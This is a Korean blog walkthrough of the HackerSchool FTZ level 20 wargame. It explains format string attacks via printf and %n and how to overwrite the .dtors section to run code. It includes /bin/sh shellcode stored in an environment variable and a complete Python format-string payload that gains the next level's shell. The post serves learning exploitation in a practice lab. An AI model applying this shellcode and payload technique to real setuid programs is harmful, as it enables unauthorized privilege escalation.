힌트를 보자
마지막 uid로 바꾸는 setreuid 함수가 있고
얼마나 많이 입력하든 fgets 함수가 79바이트까지만 받게되어있어 버퍼오버플로우는 불가능하다.
대신에 printf 함수에 인자로 bleh 변수가 그대로 들어가서
포맷스트링 공격이 가능하다.
포멧스트링이란
설명을 명료하게 잘 해주셨으니 참고
문제를 풀기 전에 알아야하는게 있다.
printf 함수가 실행될 때의 메모리영역과 어떻게 동작하는지 이다.
간단한 코드로 알아보자.
변수 두개를 출력하는 printf 코드를 작성했다.
gdb를 해보자.
set disassembly-flavor intel 코드가 뭔지 궁금한 사람
------------------------------------------------------------------------------------------------
set disassembly-flavor intel 은 어셈블리코드를 intel문법으로 바꿔주는 명령어이다.
어셈블리코드를 작성하는 문법으로 at&t, intel 두가지가 있다.
일반적으로 gdb를 하고서 보이는 코드는 at&t 문법이다.
상황에 따라 intel 문법으로 보는게 더 편할때 사용하고 있다.
------------------------------------------------------------------------------------------------
메모리영역을 그리면 위와 같다.
printf 가 어떻게 문자열을 출력하는지 보자면
쭉 출력하다가 %인자를 만나면 esp가 증가하고 다음 메모리영역의 데이터를 참조하여 출력하는 방식이다.
이걸 알아야 이후에 나올 %8x를 왜 쓰는지 이해할 수 있다.
그럼 이제 attackme를 실행해보자
문자열을 출력하다가 %8x를 만나서 어떤 값을 출력한 것을 알 수 있다.
그리고 네번째 %8x에서 AAAA의 16진수인 41414141이 출력된 것으로 보아 bleh 뒤로 dummy가 3개 있다는 것을 알 수 있다. (뒤의 메모리영역 그림을 보면 이해가 좀 더 쉬울 것이다.)
attackme를 gdb해보자
못보게 막아놓았다ㅠ
그래서 /tmp 에 임시로 같은 코드를 쓰고 실행파일을 만들어서 gdb를 해보았다.
(/home/level20/tmp 말고 /tmp)
이제 이걸 gdb 해보자
메모리영역를 그리면 아래와 같다.
다음으로 알아야 하는 것은 %n 인자이다.
%n 인자는 앞에 출력된 문자의 갯수만큼 입력하는 인자이다.
간단한 코드로 알아보자.
실행하면 다음과 같다.
%n 을 만나기 전까지 12345678 8개의 문자를 출력했기때문에
a 에 8이 들어간 것이다.
우리는 이제 이 %n 을 이용해서 a 가 아닌 특정 메모리에 원하는 숫자가 입력되게 하는 방식으로 문제를 풀어야 한다.
특정 메모리는 어디인가? 하면
위에서 attackme를 gdb 했을 때 안보이게 막아놓았기 때문에 RET의 위치를 몰라 쓸 수 없고
대신에 .dtor 영역에 덮어씌운다.
C++ 이나 java의 생성자, 소멸자와 유사한 개념으로 C의 전역 생성자 .ctor(constructor), 전역 소멸자 .dtor(destructor) 가 있다.
.ctor 는 main 함수 전에 실행되고 .dtor 은 main 함수 후에 실행된다.
그래서 .dtor 영역에 쉘코드를 띄우는 TRAP의 주소값을 넣으면 되는 것이다.
nm 명령어로 오브젝트파일에 포함된 심볼을 볼 수 있는데 아래와 같이 안보이게 해놓았다.
대신에 objdump 명령어로 보면
.dtor가 0x08049594 부터 시작이라는 것을 알 수 있다.
우리가 필요한 주소는 여기에 +4를 한 0x08049598 이다.
이유는 아래 두 블로그를 보고 이해하길 바란다.
(핵심만 얘기하면 while문을 돌면서 __DTOR_LIST__ + 1 부터 null이 아닐 때까지 명시된 함수를 실행하기 때문이다.
명시된 함수(코드)를 실행시키기 위해 TRAP의 주소값을 넣어준다.)
https://bbolmin.tistory.com/34
http://greatijw.blogspot.com/2018/05/blog-post.html
이제 목표가 되는 주소를 알아냈으니 쉘코드를 띄우는 TRAP을 등록하고 주소값을 알아내자.
/bin/bash 띄우는 쉘코드 TRAP 을 환경변수에 등록하기
export TRAP=`python -c 'print "\x90" * 100 + "\xeb\x0d\x5b\x31\xc0\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ' `
TRAP의 주소값 출력하는 코드 작성하기
TRAP의 주소값은 0xbffffe6d 이다.
우리는 이제 0xbffffe6d 라는 주소값을 %n 인자를 통해 .dtor+4인 0x08049598 에 넣어줄 것이다.
대략적으로 AAAA\x98\x95\x04\x08%3221225057c%n 이런 느낌으로 들어가게 된다.
(앞에 출력된 12개 문자 + %c로 3221225057 만큼 출력 = 3221225069개 출력 후 %n을 만나 0x08049598에 입력됨)
하지만 0xbffffe6d(=3,221,225,069) 은 int 양수의 최대값인 2,147,483,647보다 크기때문에 한번에 넣을 수 없다.
그래서 2byte씩 잘라서 0xbfff, 0xfe6d 두개를 각각 넣어줄 것이다.
아래 그림처럼 0x08049598 에 65133(fe6d), 0x0804959a 에 49151(bfff) 를 넣어줄 것이다.
하지만 이것도 정확한 것은 아니다. 조금 더 보완하자면
%n은 앞에서 출력한 갯수만큼 입력한다고 했다.
먼저 0xfe6d = 65133개를 출력했는데 그 다음에 그것보다 적은 0xbfff = 49151 개를 출력하는건 말이 안되는 것이다.
그래서 bfff 대신 0x1bfff = 114687을 넣어준다. 그러면 0xbfff는 그대로 써지고 0x1은 다음 메모리에 써지기 때문에 문제가 해결된다.
최종 코드를 먼저 쓰고 설멍하겠다.
(python -c 'print "AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x%8x%8x"+"%65093c"+"%n"+"%49554c"+"%n"';cat) | ./attackme
1. AAAA를 쓰는 이유 : %c를 출력하기 위해. 4개인 이유는 그냥 계산하기 편하게 4byte 맞춰주려고. %65093c 는 AAAA를 65093자리만큼으로 출력하겠다는 뜻이다.
2. 65133이 아닌 %65093c 인 이유 : 앞에
"AAAA"+"\x98\x95\x04\x08"+"AAAA"+"\x9a\x95\x04\x08"+"%8x%8x%8x"
가 40자리 출력이어서 65133 - 40 = 65093
3. "\x98\x95\x04\x08" 는 16자리 아닌가요?? : \x98을 4개의 문자가 아닌 16진수 한개로 인식하고 출력하더라. 아래 사진을 보면 이해가 갈 것이다.
\x41을 입력했더니 \x41이 그래도 출력되는게 아니라 아스키코드에 해당하는 A가 출력된다. 그래서 "\x98\x95\x04\x08"는 문자 4개로 인식된다.
4. %8x 를 3개 쓴 이유 : bleh 다음에 dummy가 3개이기 때문에. dummy 3개를 지나 %65093c를 만나서 AAAA를 65093 자리만큼 출력해줘야한다.
5. %8x는 4byte니까 4자리 아닌가요?? : 4212ecc0 이라는 데이터로 봤을 땐 4byte가 맞다. 하지만 출력되는 문자 그대로로 봐야하기 때문에 8자리로 계산한다.
6. %49554c 인 이유 : 0x1bfff(114687) - 0xfe6d(65133) = 49554
그림으로 보면 아래와 같다
해결!
도움이 되었다면 아래에 하트 눌러주기~
'C, HackerSchool FTZ' 카테고리의 다른 글
해커스쿨 FTZ level19 (HackerSchool) 풀이 (0) | 2021.03.29 |
---|---|
해커스쿨 FTZ level18 (HackerSchool) 풀이 (0) | 2021.02.12 |
해커스쿨 FTZ level17 (HackerSchool) 풀이 (0) | 2020.12.28 |
해커스쿨 FTZ level16 (HackerSchool) 풀이 (0) | 2020.12.28 |
댓글